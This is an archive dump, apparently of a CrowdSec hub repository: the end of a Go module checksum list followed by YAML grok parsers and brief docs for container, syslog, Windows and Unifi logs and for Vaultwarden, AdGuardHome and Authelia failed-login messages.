h1:n7NCudcB/nEzxVGmLbDWY5pfWTLqBcC2KZ6jyYvM4mQ= golang.org/x/tools v0.0.0-20190226205152-f727befe758c/go.mod h1:9Yl7xja0Znq3iFh3HoIrodX9oNMXvdceNzlUR8zjMvY= golang.org/x/tools v0.0.0-20190311212946-11955173bddd/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312151545-0bb0c0a6e846/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190312170243-e65039ee4138/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190328211700-ab21143f2384/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190329151228-23e29df326fe/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190416151739-9c9e1878f421/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190420181800-aa740d480789/go.mod h1:LCzVGOaR6xXOjkQ3onu1FJEFr0SW1gC7cKk1uF8kGRs= golang.org/x/tools v0.0.0-20190425150028-36563e24a262/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190506145303-2d16b83fe98c/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190524140312-2c0ae7006135/go.mod h1:RgjU9mgBXZiqYHBnxXauZ1Gv1EHHAz9KjViQ78xBX0Q= golang.org/x/tools v0.0.0-20190531172133-b3315ee88b7d/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190606124116-d0a3d012864b/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190614205625-5aca471b1d59/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190617190820-da514acc4774/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190621195816-6e04913cbbac/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190624222133-a101b041ded4/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190628153133-6cdbf07be9d0/go.mod h1:/rFqwRUd4F7ZHNgwSSTFct+R/Kf4OFW1sUzUTQQTgfc= golang.org/x/tools v0.0.0-20190816200558-6889da9d5479/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20190911174233-4f2ddba30aff/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191012152004-8de300cfc20a/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029041327-9cc4af7d6b2c/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191029190741-b9c20aec41a5/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191112195655-aa38f8e97acc/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20191119224855-298f0cb1881e/go.mod h1:b+2E5dAYhXwXZwtnZ6UAqBI28+e2cm9otk0dWdXHAEo= golang.org/x/tools v0.0.0-20200103221440-774c71fcf114/go.mod h1:TB2adYChydJhpapKDTa4BR/hXlZSLoq2Wpct/0txZ28= golang.org/x/tools v0.0.0-20200619180055-7c47624df98f/go.mod h1:EkVYQZoAsY45+roYkvgYkIh4xh/qjgUK9TdY2XT94GE= golang.org/x/tools v0.0.0-20210106214847-113979e3529a/go.mod h1:emZCQorbCU4vsT4fOWvOPXz4eW1wZW4PmDk9uLelYpA= golang.org/x/tools v0.1.0/go.mod h1:xkSsbof2nBLbhDlRMhhhyNLN/zl3eTqcnHD5viDpcZ0= golang.org/x/xerrors v0.0.0-20190717185122-a985d3407aa7/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191011141410-1b5146add898/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20191204190536-9bdfabe68543/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= golang.org/x/xerrors v0.0.0-20200804184101-5ec99f83aff1/go.mod h1:I/5z698sn9Ka8TeJc9MKroUUfqBBauWjQqLJ2OPfmY0= google.golang.org/api v0.3.1/go.mod h1:6wY9I6uQWHQ8EM57III9mq/AjF+i8G65rmVagqKMtkk= google.golang.org/api v0.4.0/go.mod h1:8k5glujaEP+g9n7WNsDg8QP6cUVNI86fCNMcbazEtwE= google.golang.org/api v0.7.0/go.mod h1:WtwebWUNSVBH/HAw79HIFXZNqEvBhG+Ra+ax0hx3E3M= google.golang.org/api v0.8.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.9.0/go.mod h1:o4eAsZoiT+ibD93RtjEohWalFOjRDx6CVaqeizhEnKg= google.golang.org/api v0.13.0/go.mod h1:iLdEw5Ide6rF15KTC1Kkl0iskquN2gFfn9o9XIsbkAI= google.golang.org/appengine v1.1.0/go.mod h1:EbEs0AVv82hx2wNQdGPgUI5lhzA/G0D9YwlJXL52JkM= google.golang.org/appengine v1.2.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.4.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.5.0/go.mod h1:xpcJRLb0r/rnEns0DIKYYv+WjYCduHsrkT7/EB5XEv4= google.golang.org/appengine v1.6.1/go.mod h1:i06prIuMbXzDqacNJfV5OdTW448YApPu5ww/cMBSeb0= google.golang.org/appengine v1.6.7 h1:FZR1q0exgwxzPzp/aF+VccGrSfxfPpkBqjIIEq3ru6c= google.golang.org/appengine v1.6.7/go.mod h1:8WjMMxjGQR8xUklV/ARdw2HLXBOI7O7uCIDZVag1xfc= google.golang.org/genproto v0.0.0-20170818010345-ee236bd376b0/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20180817151627-c66870c02cf8/go.mod h1:JiN7NxoALGmiZfu7CAH4rXhgtRTLTxftemlI0sWmxmc= google.golang.org/genproto v0.0.0-20190307195333-5fe7a883aa19/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190418145605-e7d98fc518a7/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190425155659-357c62f0e4bb/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190502173448-54afdca5d873/go.mod h1:VzzqZJRnGkLBvHegQrXjBqPurQTc5/KpmUdxsrq26oE= google.golang.org/genproto v0.0.0-20190530194941-fb225487d101/go.mod h1:z3L6/3dTEVtUr6QSP8miRzeRqwQOioJ9I66odjN4I7s= google.golang.org/genproto v0.0.0-20190801165951-fa694d86fc64/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190819201941-24fa4b261c55/go.mod h1:DMBHOl98Agz4BDEuKkezgsaosCRResVns1a3J2ZsMNc= google.golang.org/genproto v0.0.0-20190911173649-1774047e7e51/go.mod h1:IbNlFCBrqXvoKpeg0TB2l7cyZUmoaFKYIwrEpbDKLA8= google.golang.org/genproto v0.0.0-20191108220845-16a3f7862a1a/go.mod h1:n3cpQtvxv34hfy77yVDNjmbRyujviMdxYliBSkLhpCc= google.golang.org/genproto v0.0.0-20200526211855-cb27e3aa2013/go.mod h1:NbSheEEYHJ7i3ixzK3sjbqSGDJWnxyFXZblF3eUsNvo= google.golang.org/genproto v0.0.0-20210114201628-6edceaf6022f/go.mod h1:FWY/as6DDZQgahTzZj3fqbO1CbirC29ZNUFHwi0/+no= google.golang.org/grpc v1.8.0/go.mod h1:yo6s7OP7yaDglbqo1J04qKzAhqBH6lvTonzMVmEdcZw= google.golang.org/grpc v1.17.0/go.mod h1:6QZJwpn2B+Zp71q/5VxRsJ6NXXVCE5NRUHRo+f3cWCs= google.golang.org/grpc v1.19.0/go.mod h1:mqu4LbDTu4XGKhr4mRzUsmM4RtVoemTSY81AxZiDr8c= google.golang.org/grpc v1.20.0/go.mod h1:chYK+tFQF0nDUGJgXMSgLCQk3phJEuONr2DCgLDdAQM= google.golang.org/grpc v1.20.1/go.mod h1:10oTOabMzJvdu6/UiuZezV6QK5dSlG84ov/aaiqXj38= google.golang.org/grpc v1.21.0/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.21.1/go.mod h1:oYelfM1adQP15Ek0mdvEgi9Df8B9CZIaU1084ijfRaM= google.golang.org/grpc v1.22.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.23.0/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.23.1/go.mod h1:Y5yQAOtifL1yxbo5wqy6BxZv8vAUGQwXBOALyacEbxg= google.golang.org/grpc v1.25.1/go.mod h1:c3i+UQWmh7LiEpx4sFZnkU36qjEYZ0imhYfXVyQciAY= google.golang.org/grpc v1.26.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.0/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.27.1/go.mod h1:qbnxyOmOxrQa7FizSgH+ReBfzJrCY1pSN7KXBS8abTk= google.golang.org/grpc v1.33.2/go.mod h1:JMHMWHQWaTccqQQlmk3MJZS+GWXOdAesneDmEnv2fbc= google.golang.org/grpc v1.35.0/go.mod h1:qjiiYl8FncCW8feJPdyg3v6XW24KsRHe+dy9BAGRRjU= google.golang.org/protobuf v0.0.0-20200109180630-ec00e32a8dfd/go.mod h1:DFci5gLYBciE7Vtevhsrf46CRTquxDuWsQurQQe4oz8= google.golang.org/protobuf v0.0.0-20200221191635-4d8936d0db64/go.mod h1:kwYJMbMJ01Woi6D6+Kah6886xMZcty6N08ah7+eCXa0= google.golang.org/protobuf v0.0.0-20200228230310-ab0ca4ff8a60/go.mod h1:cfTl7dwQJ+fmap5saPgwCLgHXTUD7jkjRqWcaiX5VyM= google.golang.org/protobuf v1.20.1-0.20200309200217-e05f789c0967/go.mod h1:A+miEFZTKqfCUM6K7xSMQL9OKL/b6hQv+e19PK+JZNE= google.golang.org/protobuf v1.21.0/go.mod h1:47Nbq4nVaFHyn7ilMalzfO3qCViNmqZ2kzikPIcrTAo= google.golang.org/protobuf v1.22.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.0/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.23.1-0.20200526195155-81db48ad09cc/go.mod h1:EGpADcykh3NcUnDUJcl1+ZksZNG86OlYog2l/sGQquU= google.golang.org/protobuf v1.24.0/go.mod h1:r/3tXBNzIEhYS9I1OUVjXDlt8tc493IdKGjtUeSXeh4= google.golang.org/protobuf v1.25.0 h1:Ejskq+SyPohKW+1uil0JJMtmHCgJPJ/qWTxr8qp+R4c= google.golang.org/protobuf v1.25.0/go.mod h1:9JNX74DMeImyA3h4bdi1ymwjUzf21/xIlbajtzgsN7c= gopkg.in/alecthomas/kingpin.v2 v2.2.6/go.mod h1:FMv+mEhP44yOT+4EoQTLFTRgOQ1FBLkstjWtayDeSgw= gopkg.in/check.v1 v0.0.0-20161208181325-20d25e280405/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20180628173108-788fd7840127/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20190902080502-41f04d3bba15/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f h1:BLraFXnmrev5lT+xlilqcH8XK9/i0At2xKjWk4p6zsU= gopkg.in/check.v1 v1.0.0-20200227125254-8fa46927fb4f/go.mod h1:Co6ibVJAznAaIkqp8huTwlJQCZ016jof/cbN4VW5Yz0= gopkg.in/cheggaaa/pb.v1 v1.0.25/go.mod h1:V/YB90LKu/1FcN3WVnfiiE5oMCibMjukxqG/qStrOgw= gopkg.in/errgo.v2 v2.1.0/go.mod h1:hNsd1EY+bozCKY1Ytp96fpM3vjJbqLJn88ws8XvfDNI= gopkg.in/fsnotify.v1 v1.4.7/go.mod h1:Tz8NjZHkW78fSQdbUxIjBTcgA1z1m8ZHf0WmKUhAMys= gopkg.in/gcfg.v1 v1.2.3/go.mod h1:yesOnuUOFQAhST5vPY4nbZsb/huCgGGXlipJsBn0b3o= gopkg.in/ini.v1 v1.51.0/go.mod h1:pNLf8WUiyNEtQjuu5G5vTm06TEv9tsIgeAvK8hOrP4k= gopkg.in/natefinch/lumberjack.v2 v2.0.0 h1:1Lc07Kr7qY4U2YPouBjpCLxpiyxIVoxqXgkXLknAOE8= gopkg.in/natefinch/lumberjack.v2 v2.0.0/go.mod h1:l0ndWWf7gzL7RNwBG7wST/UCcT4T24xpD6X8LsfU/+k= gopkg.in/resty.v1 v1.12.0/go.mod h1:mDo4pnntr5jdWRML875a/NmxYqAlA73dVijT2AXvQQo= gopkg.in/tomb.v1 v1.0.0-20141024135613-dd632973f1e7/go.mod h1:dt/ZhP58zS4L8KSrWDmTeBkI65Dw0HsyUHuEVlX15mw= gopkg.in/tomb.v2 v2.0.0-20161208151619-d5d1b5820637/go.mod h1:BHsqpu/nsuzkT5BpiH1EMZPLyqSMM8JbIavyFACoFNk= gopkg.in/warnings.v0 v0.1.2/go.mod h1:jksf8JmL6Qr/oQM2OXTHunEvvTAsrWBLb6OOjuVWRNI= gopkg.in/yaml.v2 v2.0.0-20170812160011-eb3733d160e7/go.mod h1:JAlM8MvJe8wmxCU4Bli9HhUf9+ttbYbLASfIpnQbh74= gopkg.in/yaml.v2 v2.2.1/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.2/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.4/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.5/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.2.8/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.3.0/go.mod h1:hI93XBmqTisBFMUTm0b8Fm+jr3Dg1NNxqwp+5A1VGuI= gopkg.in/yaml.v2 v2.4.0 h1:D8xgwECY7CYvx+Y2n4sBz93Jn9JRvxdiyyo8CTfuKaY= gopkg.in/yaml.v2 v2.4.0/go.mod h1:RDklbk79AGWmwhnvt/jBztapEOGDOx6ZbXqjP6csGnQ= gopkg.in/yaml.v3 v3.0.0-20200313102051-9f266ea9e77c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200605160147-a5ece683394c/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20200615113413-eeeca48fe776/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b h1:h8qDotaEPuJATrMmW04NCwg7v22aHH28wwpauUhK9Oo= gopkg.in/yaml.v3 v3.0.0-20210107192922-496545a6307b/go.mod h1:K4uyk7z7BCEPqu6E+C64Yfv1cQ7kz7rIZviUmN+EgEM= gotest.tools/v3 v3.0.2/go.mod h1:3SzNCllyD9/Y+b5r9JIKQ474KzkZyqLqEfYqMsX94Bk= gotest.tools/v3 v3.0.3/go.mod h1:Z7Lb0S5l+klDB31fvDQX8ss/FlKDxtlFlw3Oa8Ymbl8= honnef.co/go/tools v0.0.0-20180728063816-88497007e858/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190102054323-c2f93a96b099/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190106161140-3f1c8253044a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190418001031-e561f6794a2a/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.0-20190523083050-ea95bdfd59fc/go.mod h1:rf3lG4BRIbNafJWhAfAdb/ePZxsR/4RtNHQocxwk9r4= honnef.co/go/tools v0.0.1-2019.2.3/go.mod h1:a3bituU0lyd329TUQxRnasdCoJDkEUEAqEt0JzvZhAg= rsc.io/binaryregexp v0.2.0/go.mod h1:qTv7/COck+e2FymRvadv62gMdZztPaShugOCi3I+8D8= sigs.k8s.io/yaml v1.1.0/go.mod h1:UJmg0vDUVViEyp3mgSv9WPwZCDxu4rQW1olrI1uml+o= sourcegraph.com/sourcegraph/appdash v0.0.0-20190731080439-ebfcffb1b5c0/go.mod h1:hI742Nqp5OhwiqlzhgfbWU4mW4yO10fP+LoT9WOswdU= hub1/hub-tests/000077500000000000000000000000001437532772500136525ustar00rootroot00000000000000hub1/parsers/000077500000000000000000000000001437532772500134135ustar00rootroot00000000000000hub1/parsers/s00-raw/000077500000000000000000000000001437532772500146045ustar00rootroot00000000000000hub1/parsers/s00-raw/crowdsecurity/000077500000000000000000000000001437532772500175125ustar00rootroot00000000000000hub1/parsers/s00-raw/crowdsecurity/cri-logs.md000066400000000000000000000005631437532772500215570ustar00rootroot00000000000000# CRI log format parser This is the default CRI logs format parser. It works on kubernetes using containerd. ## requirements When using this parser, you need to specify in your `acquis.yaml` type and program. So your log will be extracted and then sent to the proper next parser using the program key. example: ```yaml labels: type: containerd program: nginx ``` hub1/parsers/s00-raw/crowdsecurity/cri-logs.yaml000066400000000000000000000010731437532772500221160ustar00rootroot00000000000000filter: "evt.Line.Labels.type == 'containerd'" onsuccess: next_stage name: crowdsecurity/cri-logs description: CRI logging format parser nodes: - grok: pattern: "^%{TIMESTAMP_ISO8601:cri_timestamp} %{WORD:stream} %{WORD:logtag} %{GREEDYDATA:message}" apply_on: Line.Raw statics: - parsed: "logsource" value: "cri" - target: evt.StrTime expression: evt.Parsed.cri_timestamp - parsed: program expression: evt.Line.Labels.program - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Modulehub1/parsers/s00-raw/crowdsecurity/docker-logs.md000066400000000000000000000005531437532772500222500ustar00rootroot00000000000000# Docker parser This is the default docker json logs format parser. It works on kubernetes using docker. ## requirements When using this parser, you need to specify in your `acquis.yaml` type and program. So your log will be extracted and then sent to the proper next parser using the program key. example: ```yaml labels: type: docker program: nginx ``` hub1/parsers/s00-raw/crowdsecurity/docker-logs.yaml000066400000000000000000000006331437532772500226110ustar00rootroot00000000000000#If it's docker, we are going to extract log line from it filter: "evt.Line.Labels.type == 'docker'" onsuccess: next_stage name: crowdsecurity/docker-logs description: docker json logs parser statics: - target: evt.StrTime expression: JsonExtract(evt.Line.Raw, "time") - parsed: message expression: JsonExtractUnescape(evt.Line.Raw, "log") - parsed: program expression: evt.Line.Labels.programhub1/parsers/s00-raw/crowdsecurity/syslog-logs.md000066400000000000000000000002501437532772500223130ustar00rootroot00000000000000# Syslog parser This is a generic linux syslog parser with time-support. Add `datasource_type` and `datasource_path` source and datasource type in the `Meta` object. hub1/parsers/s00-raw/crowdsecurity/syslog-logs.yaml000066400000000000000000000031631437532772500226630ustar00rootroot00000000000000#If it's syslog, we are going to extract progname from it filter: "evt.Line.Labels.type == 'syslog'" onsuccess: next_stage pattern_syntax: RAW_SYSLOG_PREFIX: '^<%{NUMBER:stuff1}>%{NUMBER:stuff2} %{SYSLOGBASE2} %{DATA:program} %{NUMBER:pid}' RAW_SYSLOG_META: '\[meta sequenceId="%{NOTDQUOTE:seq_id}"\]' name: crowdsecurity/syslog-logs nodes: - grok: #this is a named regular expression. grok patterns can be kept into separate files for readability pattern: "^%{SYSLOGLINE}" #This is the field of the `Event` to which the regexp should be applied apply_on: Line.Raw - grok: #a second pattern for unparsed syslog lines, as saw in opnsense pattern: '%{RAW_SYSLOG_PREFIX} - %{RAW_SYSLOG_META} %{GREEDYDATA:message}' apply_on: Line.Raw #if the node was successfull, statics will be applied. statics: - meta: machine expression: evt.Parsed.logsource - parsed: "logsource" value: "syslog" # syslog date can be in two different fields (one of hte assignment will fail) - target: evt.StrTime expression: evt.Parsed.timestamp - target: evt.StrTime expression: evt.Parsed.timestamp8601 - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Module --- #if it's not syslog, the type is the progname filter: "evt.Line.Labels.type != 'syslog'" onsuccess: next_stage name: crowdsecurity/non-syslog #debug: true statics: - parsed: message expression: evt.Line.Raw - parsed: program expression: evt.Line.Labels.type - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Module hub1/parsers/s00-raw/crowdsecurity/unifi-logs.md000066400000000000000000000006761437532772500221210ustar00rootroot00000000000000# Unifi syslog parser This is a parser for syslog logs received from an Unifi device. Those logs are sligthly non-conformant to the syslog standard, hence the need for a custom parser. ## Example configuration As crowdsec does not run easily directly on an UDM, you'll likely want to setup syslog export on your UDM, and use the following acquisition config: ``` source: syslog listen_addr: 0.0.0.0 listen_port: 4242 labels: type: unifi ```hub1/parsers/s00-raw/crowdsecurity/unifi-logs.yaml000066400000000000000000000013611437532772500224530ustar00rootroot00000000000000filter: "evt.Line.Labels.type == 'unifi'" onsuccess: next_stage pattern_syntax: SYSLOGBASE_UNIFI: '(?:%{SYSLOGTIMESTAMP:timestamp}|%{TIMESTAMP_ISO8601:timestamp8601}) (?:%{SYSLOGFACILITY} )?%{DATA:logsource}+(?: %{SYSLOGPROG}:|)' SYSLOGLINE_UNIFI: '%{SYSLOGBASE_UNIFI} %{GREEDYDATA:message}' name: crowdsecurity/unifi-logs nodes: - grok: pattern: "^%{SYSLOGLINE_UNIFI}" apply_on: Line.Raw statics: - meta: machine expression: evt.Parsed.logsource - parsed: "logsource" value: "syslog" - target: evt.StrTime expression: evt.Parsed.timestamp - target: evt.StrTime expression: evt.Parsed.timestamp8601 - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Modulehub1/parsers/s00-raw/crowdsecurity/windows-logs.yaml000066400000000000000000000025571437532772500230430ustar00rootroot00000000000000filter: "evt.Line.Module == 'wineventlog'" onsuccess: next_stage name: crowdsecurity/windows-eventlog statics: - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Module - target: evt.StrTime #We need XMLGetAttributeValue because etree does not support getting an attribute value (or at least, i didn't manage to make the correct query) expression: XMLGetAttributeValue(evt.Line.Raw, "/Event/System[1]/TimeCreated", "SystemTime") - parsed: Channel expression: XMLGetNodeValue(evt.Line.Raw, "/Event/System[1]/Channel") - parsed: EventID expression: XMLGetNodeValue(evt.Line.Raw, "/Event/System[1]/EventID") - parsed: Source expression: XMLGetAttributeValue(evt.Line.Raw, "/Event/System[1]/Provider", "Name") - parsed: Computer expression: XMLGetNodeValue(evt.Line.Raw, "/Event/System[1]/Computer") - parsed: UserSID expression: XMLGetAttributeValue(evt.Line.Raw, "/Event/System[1]/Security", "UserID") - parsed: program expression: evt.Line.Labels.type --- filter: "evt.Line.Module != 'wineventlog'" onsuccess: next_stage name: crowdsecurity/windows-non-eventlog statics: - parsed: message expression: evt.Line.Raw - parsed: program expression: evt.Line.Labels.type - meta: datasource_path expression: evt.Line.Src - meta: datasource_type expression: evt.Line.Module hub1/parsers/s01-parse/000077500000000000000000000000001437532772500151265ustar00rootroot00000000000000hub1/parsers/s01-parse/Dominic-Wagner/000077500000000000000000000000001437532772500177315ustar00rootroot00000000000000hub1/parsers/s01-parse/Dominic-Wagner/vaultwarden-logs.md000066400000000000000000000005171437532772500235540ustar00rootroot00000000000000Parser for [Vaultwarden](https://github.com/dani-garcia/vaultwarden) Logs. If using LOG_FILE environment variable: ```yaml --- filenames: - /var/log/vaultwarden.log labels: type: Vaultwarden ``` If running via systemd: ```yaml --- source: journalctl journalctl_filter: - "SYSLOG_IDENTIFER=Vaultwarden" labels: type: Vaultwardenhub1/parsers/s01-parse/Dominic-Wagner/vaultwarden-logs.yaml000066400000000000000000000026031437532772500241140ustar00rootroot00000000000000onsuccess: next_stage filter: "Upper(evt.Parsed.program) == 'VAULTWARDEN'" name: Dominic-Wagner/vaultwarden-logs description: "Parse vaultwarden logs" pattern_syntax: DATE_YMD: "%{YEAR:year}-%{MONTHNUM:month}-%{MONTHDAY:day}" nodes: - grok: pattern: '^\[%{DATE_YMD:date} %{TIME:time}\]\[vaultwarden::api::identity\]\[ERROR\] Username or password is incorrect\. Try again\. IP: %{IP:source_ip}\. Username: %{EMAILADDRESS:username}\.$' apply_on: message statics: - meta: log_type value: vaultwarden_failed_auth - meta: username expression: evt.Parsed.username - grok: pattern: '^\[%{DATE_YMD:date} %{TIME:time}\]\[vaultwarden::api::admin\]\[ERROR\] Invalid admin token. IP: %{IP:source_ip}' apply_on: message statics: - meta: log_type value: vaultwarden_failed_admin_auth - grok: pattern: '^\[%{DATE_YMD:date} %{TIME:time}\]\[vaultwarden::api::core::two_factor::authenticator\]\[ERROR\] Invalid TOTP code! Server time: %{DATE_YMD:server_date} %{TIME:server_time} %{TZ:server_tz} IP: %{IP:source_ip}' apply_on: message statics: - meta: log_type value: vaultwarden_failed_totp statics: - meta: service value: vaultwarden - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.date + ' ' + evt.Parsed.time" hub1/parsers/s01-parse/LePresidente/000077500000000000000000000000001437532772500175115ustar00rootroot00000000000000hub1/parsers/s01-parse/LePresidente/adguardhome-logs.md000066400000000000000000000004321437532772500232540ustar00rootroot00000000000000Parser for [AdGuardHome](https://github.com/AdguardTeam/AdGuardHome) Logs. ```yaml --- filenames: - /var/log/AdGuardHome.log labels: type: adguardhome ``` ```yaml --- source: docker container_name: - AdGuardHome #container_id: # - 843ee92d231b labels: type: adguardhome ``` hub1/parsers/s01-parse/LePresidente/adguardhome-logs.yaml000066400000000000000000000011061437532772500236150ustar00rootroot00000000000000onsuccess: next_stage #debug: false name: LePresidente/adguardhome-logs description: "Parse adguardhome logs" filter: "evt.Parsed.program == 'adguardhome'" nodes: - grok: pattern: '%{DATE_X:date} %{TIME:time}.* POST %{IP:source_ip}.*: invalid username or password$' apply_on: message statics: - meta: log_type value: adguardhome_failed_auth statics: - meta: service value: adguardhome - meta: source_ip expression: "evt.Parsed.source_ip" - target: evt.StrTime expression: "evt.Parsed.date + ' ' + evt.Parsed.time"hub1/parsers/s01-parse/LePresidente/authelia-logs.md000066400000000000000000000002031437532772500225640ustar00rootroot00000000000000Parser for [Authelia](https://www.authelia.com) Logs. ```yaml --- filenames: - /var/log/Authelia.log labels: type: authelia ```hub1/parsers/s01-parse/LePresidente/authelia-logs.yaml000066400000000000000000000040751437532772500231410ustar00rootroot00000000000000onsuccess: next_stage debug: false name: LePresidente/authelia-logs filter: "evt.Parsed.program == 'authelia'" description: "Parse Authelia logs" pattern_syntax: AUTHELIA_BAD_AUTH: 'Unsuccessful 1FA authentication attempt by user \S(%{EMAILADDRESS:email}|%{USERNAME:username})\S' AUTHELIA_BAD_DUO: 'Unsuccessful Duo authentication attempt by user \S(%{EMAILADDRESS:email}|%{USERNAME:username})\S' AUTHELIA_BAD_TOTP: 'Unsuccessful TOTP authentication attempt by user \S(%{EMAILADDRESS:email}|%{USERNAME:username})\S' AUTHELIA_CLF_BADAUTH: '^time="%{RFC3339:timestamp}".*?%{AUTHELIA_BAD_AUTH}.*?remote_ip=%{IP:remote_ip}' 